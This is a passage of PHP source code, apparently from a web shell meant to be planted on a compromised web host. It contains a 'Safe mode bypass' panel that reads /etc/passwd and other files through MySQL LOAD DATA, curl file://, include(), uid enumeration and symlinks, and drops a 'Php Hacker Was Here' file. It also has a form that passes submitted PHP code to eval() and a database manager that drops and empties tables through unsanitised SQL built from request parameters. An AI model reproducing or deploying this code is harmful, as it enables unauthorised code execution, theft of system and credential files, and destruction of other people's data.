  2761.             'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
  2762.             "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
  2763.             . "TERMINATED BY       '__THIS_NEVER_HAPPENS__' "
  2764.             . "ESCAPED BY          '' "
  2765.             . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
  2766.            
  2767.             "SELECT a FROM $tbl LIMIT 1"
  2768.             );
  2769.             mysql_connect ($mhost, $muser, $mpass);
  2770.            
  2771.             foreach ($sql as $statement) {
  2772.                $q = mysql_query ($statement);
  2773.            
  2774.                if ($q == false) die (
  2775.                   "FAILED: " . $statement . "\n" .
  2776.                   "REASON: " . mysql_error () . "\n"
  2777.                );
  2778.            
  2779.                if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
  2780.            
  2781.                echo htmlspecialchars($r[0]);
  2782.                mysql_free_result ($q);
  2783.             }
  2784.             echo "</textarea>";
  2785.         }
  2786.         else if(isset($_GET['curl']))
  2787.         {
  2788.             $ch=curl_init("file://" . $_GET[curl]);
  2789.             curl_setopt($ch,CURLOPT_HEADERS,0);
  2790.             curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  2791.             $file_out=curl_exec($ch);
  2792.             curl_close($ch);
  2793.             echo "<textarea cols=120 rows=20 class=box readonly>".htmlspecialchars($file_out)."</textarea></br></br>";
  2794.         }
  2795.         else if(isset($_GET['include']))
  2796.         {
  2797.             if(file_exists($_GET['include']))
  2798.             {
  2799.                 echo "<textarea cols=120 rows=20 class=box readonly>";
  2800.                 @include($_GET['include']);
  2801.                 echo "</textarea>";
  2802.             }
  2803.             else
  2804.                 echo "<br><center><font size=3>Can't Read" . $_GET['include'] . "</font></center>";
  2805.         }
  2806.         else if(isset($_GET['id']))
  2807.         {
  2808.             echo "<textarea cols=120 rows=20 class=box readonly>";
  2809.             for($uid=0;$uid<60000;$uid++)
  2810.             {   //cat /etc/passwd
  2811.                 $ara = posix_getpwuid($uid);
  2812.                 if (!empty($ara))
  2813.                 {
  2814.                     while (list ($key, $val) = each($ara))
  2815.                     {
  2816.                         print "$val:";
  2817.                     }
  2818.                     print "\n";
  2819.                 }
  2820.             }
  2821.             echo "</textarea>";
  2822.             break;
  2823.         }
  2824.         else if(isset($_GET['tempname']))
  2825.         {
  2826.             tempnam("/home/" . $_GET['tempname']);
  2827.         }
  2828.         else if(isset($_GET['sym']))
  2829.         {
  2830.             echo "<textarea cols=120 rows=20 class=box readonly>";
  2831.             $fp = fopen("hack15.txt","w+");
  2832.             fwrite($fp,"Php Hacker Was Here");
  2833.             @unlink($flib);
  2834.             $sym = "/home/" . $them . "/public_html/" . $k;
  2835.             $link = "/home/"  . $you . "/public_html/" . $folder . "/" . $flib;
  2836.             @symlink($sym, $link);
  2837.             if ($k{0} == "/")
  2838.             {
  2839.                 echo "<script> window.location = '" . $flib . "'</script>";
  2840.             }
  2841.             else
  2842.             {
  2843.                 echo "<pre><xmp>";
  2844.                 echo readlink($flib) . "\n";
  2845.                 echo "Filesize: " . linkinfo($flib) . "B\n\n";
  2846.                 echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/"  . $folder . "/" . $flib);
  2847.                 echo "</textarea>";
  2848.             }
  2849.         }
  2850.         else
  2851.         {
  2852.             ?>
  2853.            
  2854.             <table cellpadding="7" align="center" border="3" style="width:70%;" class="pwdtbl">
  2855.                 <tr>
  2856.                     <td align="center" colspan="2"><font size="4">Safe mode bypass</font></td>
  2857.                 </tr>
  2858.                 <tr>
  2859.                     <td align="center">
  2860.                         <p>Using copy() function</p>
  2861.                         <form action="<?php echo $self; ?>" method="get">
  2862.                         <input type="hidden" name="bypass">
  2863.                         <input type="text" name="copy" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2864.                         </form>
  2865.                     </td>
  2866.                     <td align="center">
  2867.                         <p>Using imap() function</p>
  2868.                         <form action="<?php echo $self; ?>" method="get">
  2869.                         <input type="hidden" name="bypass">
  2870.                         <input type="text" name="imap" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2871.                         </form>
  2872.                     </td>
  2873.                 </tr>
  2874.                        
  2875.                 <tr>
  2876.                     <td align="center">
  2877.                         <p>Using sql() function</p>
  2878.                         <form action="<?php echo $self; ?>" method="get">
  2879.                         <input type="hidden" name="bypass">
  2880.                         <input type="text" name="sql" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2881.                         </form>
  2882.                     </td>
  2883.                     <td align="center">
  2884.                         <p>Using Curl() function</p>
  2885.                         <form action="<?php echo $self; ?>" method="get">
  2886.                         <input type="hidden" name="bypass">
  2887.                         <input type="text" name="curl" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2888.                         </form>
  2889.                     </td>
  2890.                 </tr>
  2891.                        
  2892.                 <tr>
  2893.                     <td align="center">
  2894.                         <p>Bypass using include()</p>
  2895.                         <form action="<?php echo $self; ?>" method="get">
  2896.                         <input type="hidden" name="bypass">
  2897.                         <input type="text" name="include" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2898.                         </form>
  2899.                     </td>
  2900.                     <td align="center">
  2901.                         <p>Using id() function</p>
  2902.                         <form action="<?php echo $self; ?>" method="get">
  2903.                         <input type="hidden" name="bypass">
  2904.                         <input type="text" name="id" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2905.                         </form>
  2906.                     </td>
  2907.                 </tr>
  2908.                            
  2909.                 <tr>
  2910.                     <td align="center">
  2911.                         <p>Using tempnam() function</p>
  2912.                         <form action="<?php echo $self; ?>" method="get">
  2913.                         <input type="hidden" name="bypass">
  2914.                         <input type="text" name="tempname" value="../../../etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2915.                         </form>
  2916.                     </td>
  2917.                     <td align="center">
  2918.                         <p>Using symlink() function</p>
  2919.                         <form action="<?php echo $self; ?>" method="get">
  2920.                         <input type="hidden" name="bypass">
  2921.                         <input type="text" name="sym" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2922.                         </form>
  2923.                     </td>
  2924.                 </tr>
  2925.             </table>
  2926.             </form>
  2927.             <?php
  2928.         }
  2929.     }
  2930.     else if (isset($_GET["phpc"]))
  2931.     {
  2932.         // If the comand was sent
  2933.         if(isset($_POST['code'])&& $_POST['code'] && isset($_POST['intext'])&& $_POST['intext'] == "disp")
  2934.         {
  2935.             // FIlter Some Chars we dont need
  2936.             ?><br>
  2937.             <textarea name="code" class="box" cols="120" rows="10"><?php
  2938.             $code = str_replace("<?php","",$_POST['code']);
  2939.             $code = str_replace("<?","",$code);
  2940.             $code = str_replace("?>","",$code);
  2941.    
  2942.             // Evaluate PHP CoDE!
  2943.             htmlspecialchars(eval($code));
  2944.             ?>
  2945.             </textarea><?php
  2946.         }
  2947.         else if(isset($_POST['code'])&& $_POST['code'] && !isset($_POST['intext']))
  2948.         {
  2949.             $code = str_replace("<?php","",$_POST['code']);
  2950.             $code = str_replace("<?","",$code);
  2951.             $code = str_replace("?>","",$code);
  2952.    
  2953.             // Evaluate PHP CoDE!
  2954.             ?><br><font size="4">Result of execution this PHP-code :</font><br><font class="txt" size="3"><?php htmlspecialchars(eval($code)); ?></font><?php
  2955.         }
  2956.       ?>
  2957.     <form method="POST">
  2958.     <textarea name="code" class="box" cols="120" rows="10"><?php if(isset($_POST['code'])) { echo $_POST['code']; } else { ?>phpinfo();<?php } ?></textarea>
  2959.     <br /><br />
  2960.     <input name="submit" value="Execute This COde! " class="but" type="submit" />
  2961.     <input type="checkbox" name="intext" value="disp"> <font class="txt" size="3">Display in Textarea</font>
  2962.     </form>
  2963.     <?php
  2964.     }
  2965.    
  2966.  
  2967. else if(isset($_GET['database']))
  2968. { ?>
  2969.     <form action=<?php echo $self; ?> method="POST">
  2970.     <table style="width:90%;" cellpadding="4" align="center">
  2971.     <tr>
  2972.         <td colspan="2">Connect To Database</td>
  2973.     </tr>
  2974.     <tr>
  2975.         <td>Server Address :</td>
  2976.         <td><input type="text" class="box" name="server" value="localhost"></td>
  2977.         <!--<td rowspan="4"><textarea name="query" cols="60" rows="7" class="box">SHOW DATABASE</textarea>-->
  2978.     </tr>
  2979.     <tr>
  2980.         <td>Username :</td>
  2981.         <td><input type="text" class="box" name="username" value="root"></td>
  2982.     </tr>
  2983.     <tr>
  2984.         <td>Password:</td>
  2985.         <td><input type="text" class="box" name="password" value=""></td>
  2986.     </tr>
  2987.    
  2988.     <tr>
  2989.         <td></td>
  2990.         <td><input type="submit" value="  Connect  " name="executeit" class="but"></td>
  2991.     </tr>
  2992.     </table>
  2993.     </form>
  2994. <?php
  2995. }
  2996. // Execute Query
  2997.     else if(isset($_POST["executeit"]))
  2998.     {
  2999.         if(isset($_POST['username'])  && isset($_POST['server']))
  3000.         {
  3001.             $dbserver = $_POST['server'];
  3002.             $dbuser = $_POST['username'];
  3003.             $dbpass = $_POST['password'];
  3004.            
  3005.             setcookie("dbserver", $dbserver);          
  3006.             setcookie("dbuser", $dbuser);
  3007.             setcookie("dbpass", $dbpass);
  3008.             header("Location:$self?data");                     
  3009.                
  3010.         }
  3011.     }
  3012.     else if(isset($_GET['data']))
  3013.     {
  3014.         listdatabase();
  3015.     }
  3016.     else if(isset($_GET['viewdb']))
  3017.     {
  3018.         listdatabase();
  3019.     }
  3020.    
  3021.     else if(isset($_GET['action']) && isset($_GET['dbname']))
  3022.     {
  3023.         if($_GET['action'] == "createDB")
  3024.         {
  3025.             $dbname = $_GET['dbname'];
  3026.             $dbserver = $_COOKIE["dbserver"];
  3027.             $dbuser = $_COOKIE["dbuser"];
  3028.             $dbpass = $_COOKIE["dbpass"];
  3029.             $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  3030.             mysql_query("create database $dbname",$mysqlHandle);
  3031.             listdatabase();
  3032.         }
  3033.         if($_GET['action'] == 'dropDB')
  3034.         {
  3035.             $dbname = $_GET['dbname'];
  3036.             $dbserver = $_COOKIE["dbserver"];
  3037.             $dbuser = $_COOKIE["dbuser"];
  3038.             $dbpass = $_COOKIE["dbpass"];
  3039.             $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  3040.             mysql_query("drop database $dbname",$mysqlHandle);
  3041.             mysql_close($mysqlHandle);
  3042.             listdatabase();
  3043.         }
  3044.         if($_GET['action'] == 'listTables')
  3045.         {
  3046.             listtable();
  3047.         }
  3048.        
  3049.         // Create Tables
  3050.         if($_GET['action'] == "createtable")
  3051.         {
  3052.             $dbserver = $_COOKIE["dbserver"];
  3053.             $dbuser = $_COOKIE["dbuser"];
  3054.             $dbpass = $_COOKIE["dbpass"];
  3055.             $dbname = $_GET['dbname'];
  3056.             $tablename = $_GET['tablename'];
  3057.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3058.             mysql_select_db($dbname);
  3059.             mysql_query("CREATE TABLE $tablename ( no INT )");
  3060.             listtable();
  3061.         }
  3062.        
  3063.         // Drop Tables
  3064.         if($_GET['action'] == "dropTable")
  3065.         {
  3066.             $dbserver = $_COOKIE["dbserver"];
  3067.             $dbuser = $_COOKIE["dbuser"];
  3068.             $dbpass = $_COOKIE["dbpass"];
  3069.             $dbname = $_GET['dbname'];
  3070.             $tablename = $_GET['tablename'];
  3071.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3072.             mysql_select_db($dbname);
  3073.             mysql_query("drop table $tablename");
  3074.             listtable();
  3075.         }
  3076.        
  3077.         // Empty Tables
  3078.         if($_GET['action'] == "empty")
  3079.         {
  3080.             $dbserver = $_COOKIE["dbserver"];
  3081.             $dbuser = $_COOKIE["dbuser"];
  3082.             $dbpass = $_COOKIE["dbpass"];
  3083.             $dbname = $_GET['dbname'];
  3084.             $tablename = $_GET['tablename'];
  3085.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3086.             mysql_select_db($dbname);
  3087.             mysql_query("delete from $tablename");
  3088.             listtable();
  3089.         }
  3090.        
  3091.         // Empty Tables
  3092.         if($_GET['action'] == "dropField")
  3093.         {
  3094.             $dbserver = $_COOKIE["dbserver"];
  3095.             $dbuser = $_COOKIE["dbuser"];
  3096.             $dbpass = $_COOKIE["dbpass"];
  3097.             $dbname = $_GET['dbname'];
  3098.             $tablename = $_GET['tablename'];
  3099.             $fieldname = $_GET['fieldname'];
  3100.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3101.             mysql_select_db($dbname);
  3102.             $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
  3103.             mysql_select_db( $dbname, $mysqlHandle );
  3104.             mysql_query( $queryStr , $mysqlHandle );
  3105.             listtable();
  3106.         }
  3107.        
  3108.         // View Table Schema
  3109.         if($_GET['action'] == "viewSchema")
  3110.         {
  3111.             $dbserver = $_COOKIE["dbserver"];
  3112.             $dbuser = $_COOKIE["dbuser"];
  3113.             $dbpass = $_COOKIE["dbpass"];
  3114.             $dbname = $_GET['dbname'];
  3115.             $tablename = $_GET['tablename'];
  3116.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3117.             mysql_select_db($dbname);
  3118.             echo "<br><div><font size=3>[ $dbname ]</font> - <font size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font class=txt size=3>[ Log Out ]</font> </a></div>";  
  3119.             $pResult = mysql_query( "SHOW fields FROM $tablename" );
  3120.             $num = mysql_num_rows( $pResult );
  3121.             echo "<br><br><table align=center class=pwdtbl style='width:80%;' border=1>";
  3122.             echo "<th>Field</th><th>Type</th><th>Null</th><th>Key</th></th>";
  3123.             for( $i = 0; $i < $num; $i++ )
  3124.             {
  3125.                 $field = mysql_fetch_array( $pResult );
  3126.                 echo "<tr>\n";
  3127.                 echo "<td>".$field["Field"]."</td>\n";
  3128.                 echo "<td>".$field["Type"]."</td>\n";
  3129.                 echo "<td>".$field["Null"]."</td>\n";
  3130.                 echo "<td>".$field["Key"]."</td>\n";
  3131.                 echo "<td>".$field["Default"]."</td>\n";
  3132.                 echo "<td>".$field["Extra"]."</td>\n";
  3133.                 $fieldname = $field["Field"];
  3134.                 echo "<td><a href='$self?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";
  3135.                 echo "</tr>\n";
  3136.             }
  3137.             echo "</table>";
  3138.             echo "<div><font size=3>[ $dbname ]</font> - <font size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font class=txt size=3>[ Log Out ]</font> </a></div>";
  3139.         }
  3140.        
  3141.         // Execute Query
  3142.         if($_GET['action'] == "executequery")
  3143.         {
  3144.             $dbserver = $_COOKIE["dbserver"];
  3145.             $dbuser = $_COOKIE["dbuser"];
  3146.             $dbpass = $_COOKIE["dbpass"];
  3147.             $dbname = $_GET['dbname'];
  3148.             $tablename = $_GET['tablename'];
  3149.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3150.             mysql_select_db($dbname);
  3151.             $result = mysql_query($_GET['executemyquery']);
  3152.            
  3153.             //  results
  3154.             echo "<html>\r\n". strtoupper($_GET['executemyquery']) . "<br>\r\n<table border =\"1\">\r\n";
  3155.              
  3156.             $count = 0;
  3157.             while ($row = mysql_fetch_assoc($result))
  3158.             {
  3159.                echo "<tr>\r\n";
  3160.              
  3161.                if ($count==0) // list column names
  3162.                {
  3163.                   echo "<tr>\r\n";
  3164.                   while($key = key($row))
  3165.                   {
  3166.                      echo "<td><b>" . $key . "</b></td>\r\n";
  3167.                      next($row);
  3168.                   }
  3169.                   echo "</tr>\r\n";
  3170.                }
  3171.              
  3172.                foreach($row as $r) // list content of column names
  3173.                {
  3174.                   if ($r=='') $r = '<font class=txt>NULL</font>';
  3175.                   echo "<td>" . $r . "</td>\r\n";
  3176.                }
  3177.                echo "</tr>\r\n";
  3178.                $count++;
  3179.             }
  3180.             echo "</table>\n\r<font class=txt size=3>" . $count . " rows returned.</font>\r\n</html>";
  3181.             echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
  3182.         }
  3183.        
  3184.         // View Table Data
  3185.         if($_GET['action'] == "viewdata")
  3186.         {
  3187.             global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
  3188.             $dbserver = $_COOKIE["dbserver"];
  3189.             $dbuser = $_COOKIE["dbuser"];
  3190.             $dbpass = $_COOKIE["dbpass"];
  3191.             $dbname = $_GET['dbname'];
  3192.             $tablename = $_GET['tablename'];
  3193.             echo "<br><div><font size=3>[ $dbname ]</font> - <font size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font class=txt size=3>[ Log Out ]</font> </a></div>";  
  3194.             ?>
  3195.             <br><br>
  3196.             <form>
  3197.             <input type="hidden" value="<?php echo $_GET['dbname']; ?>" name="dbname">
  3198.             <input type="hidden" value="<?php echo $_GET['tablename']; ?>" name="tablename">
  3199.             <input type="hidden" value="executequery" name="action">
  3200.             <table>
  3201.                 <tr>
  3202.                     <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
  3203.                 </tr>
  3204.                 <tr>
  3205.                     <td><input type="submit" value="Execute" class="but"></td>
  3206.                 </tr>
  3207.             </table>
  3208.             </form>
  3209.             <?php
  3210.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3211.             mysql_select_db($dbname);
  3212.            
  3213.             $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname')  AND (`TABLE_NAME` = '$tablename')  AND (`COLUMN_KEY` = 'PRI');");
  3214.             $row = mysql_fetch_array($sql);
  3215.             $rowid = $row['COLUMN_NAME'];
  3216.            
  3217.             echo "<br><font size=4>Data in Table</font><br>";
  3218.             if( $tablename != "" )
  3219.                 echo "<font size=3 class=txt>$dbname &gt; $tablename</font><br>";
  3220.             else
  3221.                 echo "<font size=3 class=txt>$dbname</font><br>";
  3222.            
  3223.             $queryStr = "";
  3224.             $pag = 0;
  3225.             $queryStr = stripslashes( $queryStr );
  3226.             if( $queryStr == "" )
  3227.             {
  3228.                 if(isset($_REQUEST['page']))
  3229.                 {
  3230.                     $res = mysql_query("select * from $tablename");
  3231.                     $getres = mysql_num_rows($res);
  3232.                     $coun = ceil($getres/30);
  3233.                     if($_REQUEST['page'] != 1)
  3234.                         $pag = $_REQUEST['page'] * 30;
  3235.                     else
  3236.                         $pag = $_REQUEST['page'] * 30;
  3237.                    
  3238.                     $queryStr = "SELECT * FROM $tablename LIMIT $pag,30";
  3239.                     $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT $pag,30");
  3240.                     $arrcount = 1;
  3241.                     $arrdata[$arrcount] = 0;
  3242.                     while($row = mysql_fetch_array($sql))
  3243.                     {
  3244.                         $arrdata[$arrcount] = $row[$rowid];
  3245.                         $arrcount++;
  3246.                     }
  3247.                 }
  3248.                 else
  3249.                 {
  3250.                     $queryStr = "SELECT * FROM $tablename LIMIT 0,30";
  3251.                     $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT 0,30");
  3252.                     $arrcount = 1;
  3253.                     $arrdata[$arrcount] = 0;
  3254.                     while($row = mysql_fetch_array($sql))
  3255.                     {
  3256.                         $arrdata[$arrcount] = $row[$rowid];
  3257.                         $arrcount++;
  3258.                     }
  3259.                 }
  3260.                 if( $orderby != "" )
  3261.                     $queryStr .= " ORDER BY $orderby";
  3262.                 echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'><font size=3>Schema</font></a>\n";
  3263.             }
  3264.        
  3265.             $pResult = mysql_query($queryStr );
  3266.             $fieldt = mysql_fetch_field($pResult);
  3267.             $tablename = $fieldt->table;
  3268.             $errMsg = mysql_error();
  3269.        
  3270.             $GLOBALS[queryStr] = $queryStr;
  3271.        
  3272.             if( $pResult == false )
  3273.             {
  3274.                 echoQueryResult();
  3275.                 return;
  3276.             }
  3277.             if( $pResult == 1 )
  3278.             {
  3279.                 $errMsg = "Success";
  3280.                 echoQueryResult();
  3281.                 return;
  3282.             }
  3283.        
  3284.             echo "<hr>\n";
  3285.        
  3286.             $row = mysql_num_rows( $pResult );
  3287.             $col = mysql_num_fields( $pResult );
  3288.        
  3289.             if( $row == 0 )
  3290.             {
  3291.                 echo "<font size=3>No Data Exist!</font>";
  3292.                 return;
  3293.             }
  3294.        
  3295.             if( $rowperpage == "" ) $rowperpage = 30;
  3296.             if( $page == "" ) $page = 0;
  3297.             else $page--;
  3298.             mysql_data_seek( $pResult, $page * $rowperpage );
  3299.        
  3300.             echo "<table cellspacing=1 cellpadding=5 border=1 class=pwdtbl align=center>\n";
  3301.             echo "<tr>\n";
  3302.             for( $i = 0; $i < $col; $i++ )
  3303.             {
  3304.                 $field = mysql_fetch_field( $pResult, $i );
  3305.                 echo "<th>";
  3306.                 if($action == "viewdata")
  3307.                     echo "<a href='$PHP_SELF?action=viewdata&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
  3308.                 else
  3309.                     echo $field->name."\n";
  3310.                 echo "</th>\n";
  3311.             }
  3312.             echo "<th colspan=2>Action</th>\n";
  3313.             echo "</tr>\n";
  3314.             $num=1;
  3315.            
  3316.            
  3317.             $acount = 1;
  3318.                        
  3319.             for( $i = 0; $i < $rowperpage; $i++ )
  3320.             {
  3321.                 $rowArray = mysql_fetch_row( $pResult );
  3322.                 if( $rowArray == false ) break;
  3323.                 echo "<tr>\n";
  3324.                 $key = "";
  3325.                 for( $j = 0; $j < $col; $j++ )
  3326.                  {
  3327.                     $data = $rowArray[$j];
  3328.        
  3329.                     $field = mysql_fetch_field( $pResult, $j );
  3330.                     if( $field->primary_key == 1 )
  3331.                         $key .= "&" . $field->name . "=" . $data;
  3332.        
  3333.                     if( strlen( $data ) > 30 )
  3334.                         $data = substr( $data, 0, 30 ) . "...";
  3335.                     $data = htmlspecialchars( $data );
  3336.                     echo "<td>\n";
  3337.                     echo "<font class=txt>$data</font>\n";
  3338.                     echo "</td>\n";
  3339.                 }
  3340.            
  3341.                 if(!is_numeric($arrdata[$acount]))
  3342.                 echo "<td colspan=2>No Key</td>\n";
  3343.                 else
  3344.                 {
  3345.                     echo "<td><a href='$PHP_SELF?action=editData&$rowid=$arrdata[$acount]&dbname=$dbname&tablename=$tablename'>Edit</a></td>\n";
  3346.                     echo "<td><a href='$PHP_SELF?action=deleteData&$rowid=$arrdata[$acount]&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
  3347.                     $acount++;
  3348.                 }
  3349.             }
  3350.             echo "</tr>\n";
  3351.        
  3352.        
  3353.             echo "</table>";
  3354.             if($arrcount > 30)
  3355.             {
  3356.                 $res = mysql_query("select * from $tablename");
  3357.                 $getres = mysql_num_rows($res);
  3358.                 $coun = ceil($getres/30);
  3359.                 echo "<form action=$self><input type=hidden value=viewdata name=action><input type=hidden name=tablename value=$tablename><input type=hidden value=$dbname name=dbname><select style='width: 95px;' name=page class=sbox>";
  3360.                 for($i=0;$i<$coun;$i++)
  3361.                     echo "<option value=$i>$i</option>";
  3362.                
  3363.                 echo "</select> <input type=submit value=Go class=but></form>";
  3364.                 echo "<br><div><font size=3>[ $dbname ]</font> - <font size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font class=txt size=3>[ Log Out ]</font> </a></div>";  
  3365.             }
  3366.         }
  3367.        
  3368.         // Delete Table Data
  3369.         if($_GET['action'] == "deleteData")
  3370.         {
  3371.             $dbserver = $_COOKIE["dbserver"];
  3372.             $dbuser = $_COOKIE["dbuser"];
  3373.             $dbpass = $_COOKIE["dbpass"];
  3374.             $dbname = $_GET['dbname'];
  3375.             $tablename = $_GET['tablename'];
  3376.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3377.             mysql_select_db($dbname);
  3378.             $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname')  AND (`TABLE_NAME` = '$tablename')  AND (`COLUMN_KEY` = 'PRI');");
  3379.             $row = mysql_fetch_array($sql);
  3380.             $row = $row['COLUMN_NAME'];
  3381.             $rowid = $_GET[$row];
  3382.             mysql_query("delete from $tablename where $row = '$rowid'");
  3383.             header("Location:$self?action=viewdata&dbname=$dbname&tablename=$tablename");
  3384.         }
  3385.         // Edit Table Data
  3386.         if($_GET['action'] == "editData")
  3387.         {
  3388.             global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
  3389.             $dbserver = $_COOKIE["dbserver"];
  3390.             $dbuser = $_COOKIE["dbuser"];
  3391.             $dbpass = $_COOKIE["dbpass"];
  3392.             $dbname = $_GET['dbname'];
  3393.             $tablename = $_GET['tablename'];
  3394.             echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
  3395.             ?>
  3396.             <br><br>
  3397.             <form action="<?php echo $self; ?>" method="post">
  3398.             <input type="hidden" name="tablename" value="<?php echo $tablename; ?>">
  3399.             <input type="hidden" name="action" value="editsubmitData">
  3400.             <?php
  3401.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3402.             mysql_select_db($dbname);
  3403.            
  3404.             $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname')  AND (`TABLE_NAME` = '$tablename')  AND (`COLUMN_KEY` = 'PRI');");
  3405.             $row = mysql_fetch_array($sql);
  3406.             $row = $row['COLUMN_NAME'];
  3407.             $rowid = $_GET[$row];
  3408.                        
  3409.             $pResult = mysql_list_fields( $dbname, $tablename );
  3410.             $num = mysql_num_fields( $pResult );
  3411.    
  3412.             $key = "";
  3413.             for( $i = 0; $i < $num; $i++ )
  3414.             {
  3415.                 $field = mysql_fetch_field( $pResult, $i );
  3416.                 if( $field->primary_key == 1 )
  3417.                     if( $field->numeric == 1 )
  3418.                         $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  3419.                     else
  3420.                         $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  3421.             }
  3422.             $key = substr( $key, 0, strlen($key)-4 );
  3423.    
  3424.             mysql_select_db( $dbname, $mysqlHandle );
  3425.             $pResult = mysql_query( $queryStr =  "SELECT * FROM $tablename WHERE $row = $rowid", $mysqlHandle );
  3426.             $data = mysql_fetch_array( $pResult );
  3427.        
  3428.            
  3429.             echo "<input type=hidden name=dbname value=$dbname>\n";
  3430.             echo "<input type=hidden name=tablename value=$tablename>\n";
  3431.             echo "<input type=hidden name=$row value=$rowid>";
  3432.             echo "<table cellspacing=1 cellpadding=2 border=1>\n";
  3433.             echo "<tr>\n";
  3434.             echo "<th>Name</th>\n";
  3435.             echo "<th>Type</th>\n";
  3436.             echo "<th>Function</th>\n";
  3437.             echo "<th>Data</th>\n";
  3438.             echo "</tr>\n";
  3439.        
  3440.             $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  3441.             $num = mysql_num_rows( $pResult );
  3442.        
  3443.             $pResultLen = mysql_list_fields( $dbname, $tablename );
  3444.        
  3445.             for( $i = 0; $i < $num; $i++ )
  3446.             {
  3447.                 $field = mysql_fetch_array( $pResult );
  3448.                 $fieldname = $field["Field"];
  3449.                 $fieldtype = $field["Type"];
  3450.                 $len = mysql_field_len( $pResultLen, $i );
  3451.        
  3452.                 echo "<tr>";
  3453.                 echo "<td>$fieldname</td>";
  3454.                 echo "<td>".$field["Type"]."</td>";
  3455.                 echo "<td>\n";
  3456.                 echo "<select name=${fieldname}_function class=sbox>\n";
  3457.                 echo "<option>\n";
  3458.                 echo "<option>ASCII\n";
  3459.                 echo "<option>CHAR\n";
  3460.                 echo "<option>SOUNDEX\n";
  3461.                 echo "<option>CURDATE\n";
  3462.                 echo "<option>CURTIME\n";
  3463.                 echo "<option>FROM_DAYS\n";
  3464.                 echo "<option>FROM_UNIXTIME\n";
  3465.                 echo "<option>NOW\n";
  3466.                 echo "<option>PASSWORD\n";
  3467.                 echo "<option>PERIOD_ADD\n";
  3468.                 echo "<option>PERIOD_DIFF\n";
  3469.                 echo "<option>TO_DAYS\n";
